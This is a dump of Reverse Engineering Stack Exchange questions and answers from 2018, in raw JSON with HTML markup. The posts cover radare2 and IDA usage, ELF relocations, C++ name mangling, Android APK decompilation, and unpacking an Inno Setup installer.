    Understanding the Java code was relatively easy. The code was obfuscated but I found out how the Bluetooth protocol works.

    \n\n

    However, the app use the Android NDK to call a native (armeabi) library that calculates data like body fat percentage from the data sent from the scale (weight, impedance...): libBodyfat.so

    \n\n

    I know what all the parameters are and what the C-functions return, but I don't know how they do it (what calculations are done).

    \n\n

    Apparently it's not possible to create readable code from a C library the way it's possible with Java. I found some tools that were recommended to work with C binaries (e.g. IDA) but they don't work with ARM binaries.

    \n\n

    What can I do to understand how the library works?

    \n", "Title": "How can I make sense of an Android NDK library?", "Tags": "|android|arm|", "Answer": "

    Hope it is not too late. I will try to help you on this. I've been go through this and that to reverse engineer that exactly same library. libBodyfat.so. As @TheKalin answered, you will find few .so files in the folder.

    \n\n

    I found x86-64 is the easiest to read compare to others. Here are the tools that I used to reverse engineer the library:

    \n\n
      \n
    1. IDA-free. It will list the constant value nicely.
      2. \n
    2. HopperApp. I used it for disassemble and decompile to c-like language. It also able to disassemble ARM. You can try the demo version, but it will close the app for sometimes and you need to re-open it.
      3. \n
    3. Hex to Float Convt.. Some constant values are used in the formula, I converted those values with this website.
      4. \n
    4. And websites to learn how the assembly instructions work.
      5. \n
    \n\n

    I manage to convert some of the functions (init & body fat percentage) to javascript functions

    \n\n

    Here it is. I have not clean up the code yet. And please do let me know if there is mistakes or something that I need to improve.

    \n\n

    https://gist.github.com/mamadcloud/95c8fe8f5816286f2ad62c81f937e6b6

    \n\n

    Hope it is helpful.

    \n" }, { "Id": "18593", "CreationDate": "2018-06-24T05:29:22.900", "Body": "

    As asking a friend and no amount of Googling yielded an answer, I figured I'd make an account and give this place a go.

    \n\n

    I'm working on reverse engineering the server for a relatively old game with no network packets from when it was alive. The game only made partial use of SSL (don't know what for specifically), and nothing I send it seems to trigger any response. The game sends a packet via a TCP PSH after the connection is established, and Apache replies with a 400 Bad Request. If Apache doesn't send any error, the game will wait indefinitely for a response. Due to lack of environment variables in the data and a defining request (HTTP GET, SSL handshake, etc.) from the game, it's unclear as to what it's expecting. CGI scrips, digest authentication, nor anything I can think of matches the contents. Here's the packet dump. \"Hub\" is a special keyword that's referenced throughout the game binary relating to code files and directories:

    \n\n

    Packet header:

    \n\n
    00000000   90 2b 34 35 e7 c5 fc 0f e6 52 e2 e3 08 00 45 00   .+45.... .R....E.\n00000010   03 1f a6 e2 40 00 40 06 0d 92 c0 a8 01 12 c0 a8   ....@.@. ........\n00000020   01 02 c5 9b 27 57 de f8 91 89 55 e4 99 2b 80 18   ....'W.. ..U..+..\n00000030   ff ff 62 23 00 00 01 01 08 0a 00 00 00 00 39 77   ..b#.... ......9w\n00000040   24 62                                             $b\n
    \n\n

    Packet contents:

    \n\n
    00000000  24 e8 02 01 00 71 00 03  00 00 06 00 04 01 00 d6   $....q.. ........\n00000010  02 30 82 02 d2 30 82 01  ba a0 03 02 01 02 02 14   .0...0.. ........\n00000020  01 00 00 00 00 00 00 00  00 00 00 00 42 00 00 00   ........ ....B...\n00000030  00 00 00 e4 30 0d 06 09  2a 86 48 86 f7 0d 01 01   ....0... *.H.....\n00000040  05 05 00 30 81 96 31 0b  30 09 06 03 55 04 06 13   ...0..1. 0...U...\n00000050  02 55 53 31 0b 30 09 06  03 55 04 08 13 02 43 41   .US1.0.. .U....CA\n00000060  31 12 30 10 06 03 55 04  07 13 09 53 61 6e 20 44   1.0...U. ...San D\n00000070  69 65 67 6f 31 31 30 2f  06 03 55 04 0a 13 28 53   iego110/ ..U...(S\n00000080  4f 4e 59 20 43 6f 6d 70  75 74 65 72 20 45 6e 74   ONY Comp uter Ent\n00000090  65 72 74 61 69 6e 6d 65  6e 74 20 41 6d 65 72 69   ertainme nt Ameri\n000000A0  63 61 20 49 6e 63 2e 31  14 30 12 06 03 55 04 0b   ca Inc.1 .0...U..\n000000B0  13 0b 53 43 45 52 54 20  47 72 6f 75 70 31 1d 30   ..SCERT  Group1.0\n000000C0  1b 06 03 55 04 03 13 14  53 43 45 52 54 20 52 6f   ...U.... SCERT Ro\n000000D0  6f 74 20 41 75 74 68 6f  72 69 74 79 30 1e 17 0d   ot Autho rity0...\n000000E0  30 36 30 32 30 38 30 30  34 39 30 36 5a 17 0d 33   06020800 4906Z..3\n000000F0  36 30 32 30 37 32 33 35  39 35 39 5a 30 77 31 0b   60207235 959Z0w1.\n00000100  30 09 06 03 55 04 06 13  02 55 53 31 13 30 11 06   0...U... .US1.0..\n00000110  03 55 04 08 13 0a 43 61  6c 69 66 6f 72 6e 69 61   .U....Ca lifornia\n00000120  31 12 30 10 06 03 55 04  07 13 09 53 61 6e 20 44   1.0...U. ...San D\n00000130  69 65 67 6f 31 17 30 15  06 03 55 04 0a 13 0e 4c   iego1.0. ..U....L\n00000140  6f 6e 64 6f 6e 20 53 74  75 64 69 6f 73 31 0d 30   ondon St udios1.0\n00000150  0b 06 03 55 04 0b 13 04  53 43 45 45 31 17 30 15   ...U.... SCEE1.0.\n00000160  06 03 55 04 03 13 0e 48  75 62 20 53 43 45 45 20   ..U....H ub SCEE \n00000170  32 30 33 37 34 30 5c 30  0d 06 09 2a 86 48 86 f7   203740\\0 ...*.H..\n00000180  0d 01 01 01 05 00 03 4b  00 30 48 02 41 00 bb a7   .......K .0H.A...\n00000190  3a c9 8c 1c b1 93 ff 51  b0 02 b3 88 6a d5 35 49   :......Q ....j.5I\n000001A0  5c 58 42 f3 7f ab 32 ea  89 5b b8 c2 55 83 f4 72   \\XB...2. .[..U..r\n000001B0  f6 bd 1b 29 6b 7b ca 89  0a bb 42 b8 dc b0 a6 01   ...)k{.. ..B.....\n000001C0  47 88 e5 47 fd 8d 31 cc  f0 8b b8 16 f5 65 02 03   G..G..1. .....e..\n000001D0  00 00 11 30 0d 06 09 2a  86 48 86 f7 0d 01 01 05   ...0...* .H......\n000001E0  05 00 03 82 01 01 00 08  b0 85 11 13 37 d0 97 c0   ........ ....7...\n000001F0  53 bb b0 ac 48 af dd 4c  ad 24 9d bd 9c b0 8a 26   S...H..L .$.....&\n00000200  45 1c 0a fd 39 0d 01 34  3b 42 34 9f 08 f6 ac 5e   E...9..4 ;B4....^\n00000210  11 77 01 3a 9b e0 d5 50  28 66 4f f8 1c a1 13 08   .w.:...P (fO.....\n00000220  8c fd 69 5e b8 aa b1 13  46 54 08 e3 4e 47 74 c9   ..i^.... FT..NGt.\n00000230  ea 33 6c bb 12 d0 58 da  4b d6 c6 09 09 16 e6 f0   .3l...X. K.......\n00000240  57 40 fb dd 69 17 83 73  a5 e6 fa 11 e6 63 9a ae   W@..i..s .....c..\n00000250  47 08 7b a4 23 b2 12 e5  eb 5a f6 da f5 e6 4a e8   G.{.#... .Z....J.\n00000260  10 35 57 b2 ed b7 36 97  95 63 bc 78 22 87 38 1d   .5W...6. .c.x\".8.\n00000270  b2 70 90 31 b7 6f 11 1e  b6 72 89 91 0f 5d fe 65   .p.1.o.. .r...].e\n00000280  38 ed 6c 66 f4 31 b4 5a  8a f2 71 77 7f 56 45 a4   8.lf.1.Z ..qw.VE.\n00000290  70 f3 1f c5 1f 8b 78 6a  40 45 c6 39 cc 22 6e 5e   p.....xj @E.9.\"n^\n000002A0  56 c7 63 5e 44 bb 65 e5  6d 5c 94 93 25 af 5a 47   V.c^D.e. m\\..%.ZG\n000002B0  24 6f 3f 0d d9 b0 a0 be  6a 1b 10 21 b7 61 d3 c3   $o?..... j..!.a..\n000002C0  44 8c 8c 5a c9 61 b2 26  fc 02 ee 5e 73 12 8e ef   D..Z.a.& ...^s...\n000002D0  0d 10 e9 f9 f5 37 8c 0e  6a 52 c3 4e b2 1c b1 e0   .....7.. jR.N....\n000002E0  7f 21 20 ea 7b 10 97 00  00 00 00                  .! .{... ...\n
    \n\n

    Scanning it as a file will detect it as a .der certificate, and while its structure in general looks like a certificate, as far as I can tell via comparison, it is not. Perhaps someone with more knowledge knows what this is (and what \"rt\" is, below), or knows if this is some custom data. The following strings are also referenced in the game's binary that likely has some relation, with the first coming directly after the above ASCII ZG$o?:

    \n\n
    +-#0,;:_\n_lc_mtx\n<0123456789ABCDEF\n0123456789abcdef\n\nrt_ssl 3.02.200810102000\n666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLNT \nSRVR \n0123456789abcdefghijklmnopqrstuvwxyz \n0123456789abcdefABCDEF\n\nReleaseVersion 3.02.200810102000 \nrt_cert version: 3.02.200810102000\n
    \n", "Title": "Unknown Game Client Data", "Tags": "|binary-analysis|elf|", "Answer": "

    Answering my own question for anyone in the future that comes across this post searching for answers to games that use the same middleware (SCE-RT/Medius SDK), the packet above is a standard x509 certificate. You can binwalk your game's executable and extract the unformatted certificate.

    \n" }, { "Id": "18597", "CreationDate": "2018-06-26T01:19:10.027", "Body": "

    In trying to understand a .so from an Android game made with Cocos2d-x, I've come across identifiers like the following (after demangling):

    \n\n

    SceneActionMap::updateTalkMode(float)::$_37\nSceneActionMap::onTouchEndedTalk(cocos2d::Touch*, cocos2d::Event*)::$_38

    \n\n

    I'm still a little shaky on ELF & the C++ ABI, but these names are found in .rodata and are referred to by some kind of structure in .data.rel.ro that seems RTTI related.

    \n\n

    What kind of entities are $_37 and $_38? Are these anonymous functions generated by the NDK, or are they some kind of metadata about other functions?

    \n", "Title": "What does a C++ identifier ending in $_## mean?", "Tags": "|c++|android|elf|shared-object|", "Answer": "

    its a lambda function,\nas example stack trace in google https://github.com/Microsoft/vscode-cpptools/issues/2117

    \n" }, { "Id": "18599", "CreationDate": "2018-06-26T07:45:47.083", "Body": "

    I can't figure out what afl actually outputs. The docs are surprisingly uninformative.

    \n\n

    So, I've got address on the first column and symbol on the last. What is on the 2nd, 3rd and 4th columns?

    \n\n

    Example:

    \n\n
    :> afl\n0x08048000   29 988  -> 937  segment.LOAD0\n0x080483dc    3 35           func_5\n0x08048410    1 6            sym.imp.fgets\n0x08048420    1 6            sym.imp.fclose\n0x08048430    1 6            sym.imp.fwrite\n0x08048440    1 6            sym.imp.puts\n0x08048450    1 6            loc.imp.__gmon_start\n0x08048460    1 6            sym.imp.exit\n0x08048470    1 6            sym.imp.__libc_start_main\n0x08048480    1 6            sym.imp.fopen\n0x08048490    1 6            sym.imp.fileno\n0x080484a0    1 6            sym.imp.ptrace\n0x080484b0    1 33           entry0\n0x080484e0    1 4            func_3\n0x080484f0    4 42           func_4\n0x08048642    4 51           func_1\n0x08048675   10 83           func_2\n0x080486c8    4 194          main\n
    \n", "Title": "What is the info displayed by radare2's afl?", "Tags": "|tools|radare2|", "Answer": "

    First, I'll answer your question straightly:

    \n\n
      \n
    • 2nd column: The number of basic blocks in the function
      • \n
    • 3rd column: The size of the function (in bytes)
      • \n
    • 4th column: The function's name
      • \n
    \n\n

    You might have used \"4th\" to spot the number that comes after the \"->\". If this is the case, where there is a \"->\" the left number is the range of the function where on the right you can find the size of the function. It happens only when the range and the size are different.

    \n\n
    \n\n

    But now for a more generic approach. As you noticed, some commands of radare2 would not show you the column headers of the table, just as your example with the afl command. So what can you do to show this information?

    \n\n

    Use the JSON output

    \n\n

    Simply, use the JSON representation of the output. Most of radare2's informative commands can be appended with a j to format the output as JSON. Add ~{} to format the output with JSON indention for readability:

    \n\n

    So for example:

    \n\n
    [0x00400430]> aflj~{}                   \n[                                       \n  {                                     \n    \"offset\": 4195272,                  \n    \"name\": \"sym._init\",                \n    \"size\": 26,                         \n    \"realsz\": 26,                       \n    \"cc\": 2,                            \n    \"cost\": 12,                         \n    \"nbbs\": 3,                          \n    \"edges\": 3,                         \n    \"ebbs\": 1,                          \n    \"calltype\": \"amd64\",                \n    \"type\": \"sym\",                      \n    \"minbound\": \"4195272\",              \n    \"maxbound\": \"4195298\",              \n    \"range\": \"26\",                      \n    \"diff\": \"NEW\",    \n    ...\n    ...               \n
    \n\n

    As you can see, radare presents us with a simple JSON output that contains the headers (keys) for each value. You can easily understand what each column is, using the header name which is corresponding to the output without j.

    \n\n

    Use a more verbose command

    \n\n

    An alternative for afl is afll. It will list the functions of the binary in a verbose mode and in an easy to understand table:

    \n\n
    [0x00400430]> afll\naddress            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name\n================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====\n0x004003c8   26     3     3     2   12 0x004003c8    26 0x004003e2     1    0      0    1     8 sym._init\n0x00400400    6     1     0     1    3 0x00400400     6 0x00400406     0    0      0    1     0 sym.imp.puts\n0x00400410    6     1     0     1    3 0x00400410     6 0x00400416     0    0      0    1     0 sym.imp.__libc_start_main\n0x00400420    6     1     0     1    3 0x00400420     6 0x00400426     0    0      0    1     0 sub.__gmon_start_420\n0x00400430   41     1     0     1   15 0x00400430    41 0x00400459     1    0      0    0     8 entry0\n0x00400460   41     4     4     2   20 0x00400460    50 0x00400492     0    0      0    1     8 sym.deregister_tm_clones\n0x004004a0   53     3     2    -1   20 0x004004a0    53 0x004004d5     0    0      0    2     8 sym.register_tm_clones\n0x004004e0   28     3     3     2   14 0x004004e0    28 0x004004fc     1    0      0    0     0 sym.__do_global_dtors_aux\n0x00400500   35     4     6     4   19 0x00400500    38 0x00400526     0    0      0    0     8 entry1.init\n0x00400526   21     1     0     1   12 0x00400526    21 0x0040053b     1    0      0    1     8 sym.main\n0x00400540  101     4     5     3   49 0x00400540   101 0x004005a5     1    0      0    1    56 sym.__libc_csu_init\n0x004005b0    2     1     0     1    3 0x004005b0     2 0x004005b2     0    0      0    1     0 sym.__libc_csu_fini\n0x004005b4    9     1     0     1    5 0x004005b4     9 0x004005bd     0    0      0    0     8 sym._fini\n
    \n\n

    afll listed the functions but this time it showed you the columns' header name.

    \n" }, { "Id": "18607", "CreationDate": "2018-06-26T16:11:52.953", "Body": "

    Lets say an Android application sends out a traffic out to the server and expects a Json Response

    \n\n

    Request:

    \n\n
    https://server:port/userid=user1&token=randomstring7345\n
    \n\n

    We want to replicate the traffic using python library now, the 'randomstring7345' keeps changing everytime, there is a function logic inside the application which generates it on the fly.

    \n\n

    If this was a web application we would have used chrome network tab to do a stack trace once the traffic is generated and then use technical breakpoints to find out the Javascript code which generates the 'randomstring7345'. How can we do the same in Android. first step would be to decompile the application apk I guess and then how do we proceed from there to find out the exact function/logic?

    \n\n

    what I am trying to do.

    \n\n
      \n
    • reverse engineer an android apk (bit novice here)
      • \n
    • create a python library to automate the apk api calls (i can do this once i get the equivalent android code logic)
      • \n
    \n\n

    for sake of simplicity, lets say there is an flight reservation android app

    \n\n

    Here is the flow:

    \n\n
      \n
    • open the apk, which presents a login screen (user | pass)
      • \n
    • once you click login you get a Json reply from server a. {Fail: Wrong pass} or b. {Success: login_tokenID}
      • \n
    • now I put sourceAirport as A DestinationAirport as B and flydate '2018-06-09' and click on Confirm
      • \n
    \n\n

    The traffic that goes out:

    \n\n
    https://myflights.com:port/userid=user1&token=login_tokenID&accesstoken=8833456&from=A&to=b&date=2018-06-09\n
    \n\n

    Server sends back Json\na. {Fail : Choose another date}\nb. {Success: confirmed}

    \n\n

    note the flow here the app computes internally accesstoken=8833456 which it supplies in the request else server wont respond to it. I need to find exactly where this logic resides in the app so that I can replicate it.

    \n", "Title": "Android Reverse Engineering Network Traffic Stack Trace", "Tags": "|android|java|decompile|apk|callstack|", "Answer": "

    Hello you can start with the following approach:

    \n\n
      \n
    1. Decompile the apk file with apktool
      2. \n
    2. convert classes.dex to .jar with dex2jar
      3. \n
    3. open the file with some java decompiler. My favorite is Luyten
      4. \n
    4. Find the specific function
      5. \n
    \n\n
    \n$ apktool d app-uat-release.apk -s -o dex\n$ cd dex\n$ d2j-dex2jar classes.dex \ndex2jar classes.dex -> classes-dex2jar.jar\n$ java -jar /path/to/Luyten.jar classes-dex2jar.jar\n
    \n\n

    I can point you in the right direction, but to this i need to know what exactly you want to do.

    \n" }, { "Id": "18618", "CreationDate": "2018-06-27T18:39:09.260", "Body": "

    Let's say I have a byte sequence where U is an unsigned int (4 bytes), and ccccccccccccccc is a 15 byte character array

    \n\n
    UcccccccccccccccU\n
    \n\n

    Is it possible to print this structure using pf? I can print this with

    \n\n
    pf i;\nps 15 @ 4;\npf i @ 19;\n
    \n\n

    If both of those integers were next to each other, I could do pf ii, and what I would like to do is something like pf is15i -- which doesn't work because s is for * char[] to a string, and not a char array.

    \n\n

    If I do something like pf 5c, I get them outputted as single characters (ex.,)

    \n\n
    0x00000008 [0] {\n  0x00000008 = '6'\n}\n0x00000009 [1] {\n  0x00000009 = '0'\n}\n0x0000000a [2] {\n  0x0000000a = '0'\n}\n
    \n", "Title": "How do you print fixed width strings with radare's print format `pf`?", "Tags": "|radare2|strings|", "Answer": "

    To understand how to use pf the way you want, we should go over it step-by-step.

    \n\n

    I opened an empty memory for a radare2 playground:

    \n\n
    $ r2 malloc://200\n[0x00000000]>\n
    \n\n

    Next, I wrote date to this playground, inspired by your example:

    \n\n
    [0x00000000]> wx AABBCCDD @ 0\n[0x00000000]> w ccccccccccccccc @ 4\n[0x00000000]> wx 11223344 @ 19\n
    \n\n

    Basically, I wrote 4 bytes, followed by 15 characters and then other 4 bytes. This is how it looks in the memory:

    \n\n
    [0x00000000]> px 32\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x00000000  aabb ccdd 6363 6363 6363 6363 6363 6363  ....cccccccccccc\n0x00000010  6363 6311 2233 4400 0000 0000 0000 0000  ccc.\"3D.........\n
    \n\n

    To print this structure I did something like this:

    \n\n
    [0x00000000]> pf x[15]zx\n0x00000000 = 0xddccbbaa\n0x00000004 = ccccccccccccccc\n0x00000013 = 0x44332211\n
    \n\n

    As you already know, pf is used to print formatted data. By using pf?? and pf??? you can see examples and understand each part of my command.

    \n\n

    You can use i instead of x if you want to print integers.

    \n\n
    [0x00000000]> pf i[15]zi 1st 2nd third\n   1st : 0x00000000 = -573785174\n   2nd : 0x00000004 = ccccccccccccccc\n third : 0x00000013 = 1144201745\n
    \n\n

    My structure consists of 4 parts:

    \n\n
      \n
    • pf command
      • \n
    • x where x is being used to print hex value (of 4 bytes)
      • \n
    • [15]z to print 15 characters of a string
      • \n
    • x to print another hex value
      • \n
    \n\n

    You can also name the fields:

    \n\n
    [0x00000000]> pf x[15]zx 1st 2nd third\n   1st : 0x00000000 = 0xddccbbaa\n   2nd : 0x00000004 = ccccccccccccccc\n third : 0x00000013 = 0x44332211\n
    \n\n

    You can use other format characters such as e to swap endians, etc

    \n" }, { "Id": "18620", "CreationDate": "2018-06-27T22:30:33.190", "Body": "

    I've stumbled upon Inno Setup installer with additional separate Arc archives (commonly with .bin extension) that I was unable to extract using normal methods:

    \n\n
      \n
    1. the installer didn't work for an obscure reason (e.g.\nRuntime Error (at -1:0): Cannot Import EXTRACTFILENAME.),
      2. \n
    2. extracting the Arc file with FreeArc was impossible due to ERROR: unsupported compression method srep,
      3. \n
    3. also, the archive was apparently password-protected (trying to open it with FreeArc UI resulted in Enter decryption password dialog box).
      4. \n
    \n\n

    How can one deal with such a situation?

    \n", "Title": "How to unpack Inno Setup bundles with Arc+SREP data?", "Tags": "|disassembly|decompilation|unpacking|executable|", "Answer": "

    There are three main steps here:

    \n\n
      \n
    1. you'll have to decompile/dissect the IS installer itself; the easiest way is to use Inno Setup Decompiler ; essentially, you'll need to get CompiledCode.bin from your .exe file, and then disasm it, possibly finding a code that handles the unpacking - it usually calls ISArcExtract or a similar library function, and is placed in a method named CURSTEPCHANGED.
      2. \n
    2. you have to get SREP (SuperREP) extractor (for more info, see e.g. http://krinkels.org/resources/superrep-srep.107/ and https://www.fileforums.com/showthread.php?p=460707) - the easiest way is to get a pack called SrepInside0.33.7z (available for download in various places), as it has all the required files bundled (essentially, you'll get an unarc.exe with CLS-srep.dll lib and cls.ini config).
      3. \n
    3. in your Inno Setup's disassembly, locate the variable that holds the password itself (in case of ISArcExtract it's the 7th parameter passed), and pass it to your unarc call - note that it may contain non-printable characters (e.g. <32 ASCII codes), so that passing the password using a script is advisable.
      4. \n
    \n\n

    Note that there are different versions/variants to both Arc and SREP; the above method should work in most cases, though.

    \n" }, { "Id": "18622", "CreationDate": "2018-06-27T23:01:15.020", "Body": "

    I'm using Radare to print out some information on blobs, essentially I'm running

    \n\n
    radare2 -c \"pf ... \" ./myblob.bin\n
    \n\n

    I would like radare to edit after it runs that -c.

    \n", "Title": "Radare -c but exit afterward", "Tags": "|radare2|", "Answer": "

    Radare calls this \"quite mode\" and provides two options,

    \n\n
    -q    quiet mode (no prompt) and quit after -i\n-Q    quiet mode (no prompt) and quit faster (quickLeak=true)\n
    \n\n

    You can use them like this,

    \n\n
    radare2 -qc \"pf ... \" ./myblob.bin\n
    \n\n

    This will also suppress the annoying trivia/witty insult thing.

    \n\n

    For a follow up question about -Q leaking,

    \n\n\n" }, { "Id": "18627", "CreationDate": "2018-06-28T12:40:49.370", "Body": "

    I have a .so from an Android JNI/NDK application. Here are two of its sections:

    \n\n
    [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n[10] .rel.plt          REL             001c9034 1c9034 00c928 08  AI  3  11  4\n[11] .plt              PROGBITS        001d595c 1d595c 012dd0 00  AX  0   0  4\n
    \n\n

    Based on the Info parameter of .rel.plt, I would expect the relocations it contains to affect the contents of the .plt section. However, the addresses in the relocations are all to much higher addresses:

    \n\n
    Relocation section '.rel.plt' at offset 0x1c9034 contains 6437 entries:\n Offset     Info    Type                Sym. Value  Symbol's Name\n00e1bb6c  00000216 R_ARM_JUMP_SLOT        00000000   __cxa_atexit@LIBC\n00e1bb70  00000116 R_ARM_JUMP_SLOT        00000000   __cxa_finalize@LIBC\n00e1bb74  00000316 R_ARM_JUMP_SLOT        00a0f8c5   _Znwj\n00e1bb78  00000416 R_ARM_JUMP_SLOT        00a0f941   _ZdlPv\n00e1bb7c  00000516 R_ARM_JUMP_SLOT        00a1886d   __gxx_personality_v0\n00e1bb80  00000716 R_ARM_JUMP_SLOT        00000000   __stack_chk_fail@LIBC\n00e1bb84  00000b16 R_ARM_JUMP_SLOT        009ed201   _ZNSt6__ndk16chrono12system_clock3nowEv\n
    \n\n

    Those addresses fall into the range of the .got and .data sections. This is a shared object, so the offsets should be virtual address based rather than section based, and the ELF for the ARM Architecture says:

    \n\n
    \n

    The ELF standard requires that the GOT-generating relocations of the PLT are emitted into a contiguous sub-range of the dynamic relocation section. That sub-range is denoted by the standard tags DT_JMPREL and DT_PLTRELSZ. The type of relocations (RELor RELA) is stored in the DT_PLTREL tag.

    \n
    \n\n

    Am I misunderstanding what the offset of these relocations applies to? Or perhaps what \"GOT-generating relocations\" means?

    \n", "Title": "Why would an ELF SHT_REL section contain relocations outside the section its sh_info refers to?", "Tags": "|binary-analysis|arm|elf|", "Answer": "

    My mistake was in treating the addresses in the relocations' addresses based on the sections' offsets (sh_offset) and not their addresses (sh_addr) to determine where they pointed. Correcting this misunderstanding, the relocations all address entries in the GOT which address the PLT, as expected.

    \n" }, { "Id": "18632", "CreationDate": "2018-06-29T04:57:58.580", "Body": "

    I am analyzing a macOS app with radare2, and the app depends on a number of Qt frameworks. When I printed out the import symbols of the app's main executable, the names of the frameworks' functions have strange characters in them.

    \n\n

    For example, if a framework exports a function name: QLocalServer::listen(QStringconst&), it becomes _sym.imp._ZN12QLocalServer6listenERK7QString in the main executable's imports.

    \n\n

    Another example: \nQNetworkProxyFactory::setUseSystemConfiguration(bool) becomes\nsym.imp._ZN20QNetworkProxyFactory25setUseSystemConfigurationEb

    \n\n

    Can anyone explain why there are those characters? I don't see those characters when analyzing the export functions of the frameworks.

    \n", "Title": "Import symbols containing strange characters", "Tags": "|radare2|macos|", "Answer": "

    These \"weird\" names are produced by the compiler and are called Name Mangling or Name Decoration. These names are shown by radare2 but are not produced or generated by it.

    \n\n

    To quote from MSDN:

    \n\n
    \n

    Functions, data, and objects in C and C++ programs are represented\n internally by their decorated names. A decorated name is an encoded\n string created by the compiler during compilation of an object, data,\n or function definition. It records calling conventions, types,\n function parameters and other information together with the name. This\n name decoration, also known as name mangling, helps the linker find\n the correct functions and objects when linking an executable.

    \n
    \n\n

    The Wikipedia article about Name Mangling has some great examples of Name Mangling of C++ produced by GCC. I suggest you read it thoroughly to understand the subject better. It explains how mangled names are produced and describes the structure of it.

    \n\n
    \n\n

    radare2, just as many different Disassemblers, knows to demangle the different names. There are several configuration variables that handle Name Mangling:

    \n\n
    asm.demangle: Show demangled symbols in disasm\nbin.demangle: Import demangled symbols from RBin\nbin.demanglecmd: run xcrun swift-demangle and similar if available (SLOW)\nbin.lang: Language for bin.demangle\n
    \n\n

    So if you want radare2 to show you the demangled names on the assembly, use e asm.demangle = true. Make sure to tell radare2 to load the demangled symbols. You can do this by setting e bin.demangle to true. You might need to load the binary again - use oo for this.

    \n\n

    If you just want to demangle a specific name, you can use iD <lang> <name> which will demangle a symbol name for a specific language. Just use it like this: iD cxx <mangled name> for C++ Name Mangling.

    \n" }, { "Id": "18635", "CreationDate": "2018-06-29T10:01:57.537", "Body": "

    when you click String references in x64dbg, it only lists strings from current module/file. Is that possible to search strings in multiple (selected) files/modules?

    \n", "Title": "Search strings in multiple files/processes/modules (x64dbg)", "Tags": "|x64dbg|", "Answer": "

    From what I know you can search for String references in all modules.
    \nThe way is: right click ---> search for ---> all modules ---> String references\n\"enter\n\"enter

    \n" }, { "Id": "18642", "CreationDate": "2018-06-29T23:44:12.440", "Body": "

    I've got an hexdump of COM MSDOS 8086 file, and I'm trying to transform it to COM executable.

    \n\n

    After looking around, I found a site1 that gives reasonable disassembly of the hexdump. Although, when I try to use that assembly generated code in a TASM, it doesn't build, and throw errors.

    \n\n

    In contrast, I tried also to use IDA, and it does not seem to get the same assembly result as 1.

    \n\n

    My questions are:

    \n\n
      \n
    1. Is there any other way that I'm missing in transforming hexdump into an executable COM file?
      2. \n
    2. The site gives me expressions like: mov $0x400,%di , but TASM only recognize mov di,400. Is that a better way to translate the hexdumps into instructions that TASM will recognize?
      3. \n
    \n\n

    BTW - The context is that I'm trying to solve an RE riddle, which I cannot post online (and I'm a pretty newbie in RE and assembly).

    \n", "Title": "How to create executable COM file from hexdump code of msdos 8086", "Tags": "|dos-com|", "Answer": "

    DOS COM files do not have any structure or headers; they are loaded into memory by DOS as-is and are executed from the first byte, so you just need to convert hex bytes to binary to get a COM file.

    \n\n

    The difference you see is likely caused by the processor mode setting; mov di, 400h in 16-bit mode and and mov edi, 0x400 in 32-bit mode have exactly the same opcode.

    \n\n

    IDA knows that COM files are 16-bit code and disassembles them accordingly, but ODA seems to default to 32-bit mode. To force 16-bit disassembly, select i8086 in the Mode combo box.

    \n" }, { "Id": "18650", "CreationDate": "2018-07-01T02:20:43.510", "Body": "

    I have a piece of malware dumped by segments. A lot of the data section seems to be screwed up when loaded into IDA Pro.

    \n\n

    First of all, pointers are stored in a single array which is incorrect. I want these to be separated and each value have their own pointer which I can xref across the db. Instead of seeing them accessed as array[ index ] which is too hard to keep track of and impossible to xref correctly.

    \n\n

    \"array\"

    \n\n

    Next, many floating point values ( represented in hex ) are stored like this instead of as a single hex number. I want these values to represent 0x3d4c0cc0cd ( 0.05 ).

    \n\n

    \"floats\"\nI'm not all that familiar with IDA and I'm wondering if there is a way to fix this ( preferably in bulk instead of me having to go through each value one by one )

    \n", "Title": "Fixing up data sections of a malware sample in IDA database?", "Tags": "|ida|dumping|", "Answer": "

    IDA, as an interactive disassembler allows you to change how data is displayed to fit the actual meaning and usage. Although IDA tries to infer data types (among other things) it is not always successful.

    \n\n

    Generally, you can place the cursor on a data item or operand and either right click or use the Edit menu.

    \n\n

    For example, to address your second issue and to set a data type to a floating point number you'll need to place your cursor on it and click the Edit->Operand->Number->Floating point submenu.

    \n\n

    Your first issue is a little more tricky. If the code in front of you uses an offset in an array to get different pointers, there's no easy and clean way to hide that, and there shouldn't be.

    \n\n

    Unlike the floating point case, this time IDA inferred data correctly, and I do not recommend hiding that information from the user (aka you). Instead, you may wanna write a short IDAPython script that would add comments according to the pointer used, as well as actually take the time to understand what those indices mean.

    \n\n

    Creating a structure and applying it to the array, giving names to each offset, is something I often do. You can also create an enum with indices named by the pointer's function.\nIf I misunderstood and IDA did infer the pointers array incorrectly please correct me and make it clearer in your question.

    \n" }, { "Id": "18669", "CreationDate": "2018-07-02T19:25:58.360", "Body": "

    I want to make type libraries from Windows 10 SDK and DDK version 16299 and/or 17134. I saw this tutorial TILIB - utility to create type libraries for IDA. Then I downloaded it from IDA Support: Download Center and placed it in IDA installation folder i.e. C:\\program files\\ida. I tried with both SDK and DDK but both failed. Here are the outputs:

    \n\n
      \n
    • SDK:
      • \n
    \n\n\n\n
    $>tilib64.exe -c -h\"C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\um\\Windows.h\" abc.til\nError C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\um\\Windows.h,1: Can't open include file 'winapifamily.h'\n
    \n\n
      \n
    • DDK:
      • \n
    \n\n\n\n
    $>tilib64.exe -c -h\"C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\km\\wdm.h\" abc.til\nError C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\km\\wdm.h,38: #error: Compiler version not supported by Windows DDK\n
    \n\n

    Am I doing anything wrong? Should I add other header and lib files? What is the proper way to make a type libraries for Windows 10?

    \n", "Title": "How to make type libraries from Windows 10 SDK and DDK?", "Tags": "|ida|windows|", "Answer": "
      \n

    • Requirements: Here I used tilb64.exe from IDA SDK for making 64bit type library. IDA installation folder is E:\\IDA70 and Windows SDK and DDK version 10.0.17134.0.

      • \n

